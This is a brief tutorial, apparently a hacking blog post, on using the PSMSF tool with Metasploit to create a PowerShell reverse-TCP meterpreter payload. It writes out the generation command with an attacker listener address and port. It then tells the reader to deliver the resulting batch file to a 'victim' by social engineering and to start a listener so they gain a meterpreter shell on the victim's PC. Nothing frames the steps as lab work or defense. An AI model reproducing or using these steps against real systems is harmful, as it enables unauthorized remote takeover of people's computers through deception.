PSMSF can help us generate payload or files used in cmd console/browser/.. With Metasploit-Framework. If you are similar to windows cmd console, you can use the results in different areas.
Open your kali Linux terminal and type the following command
Now type following command to create payload
python psmsf.py –attacktype ps –payload windows/meterpreter/reverse_tcp –lhost 192.168.0.140 –lport 4444
Now it will show a file with name powershell_hacking.bat and powershell_msf.rc now send your bat files to victim using any social engineering technique.
Starts a metasploit-framework listeners, type msfconsole -r powershell_msf.rc
Now when the victim will use bat file you will get the meterpreter of victim PC.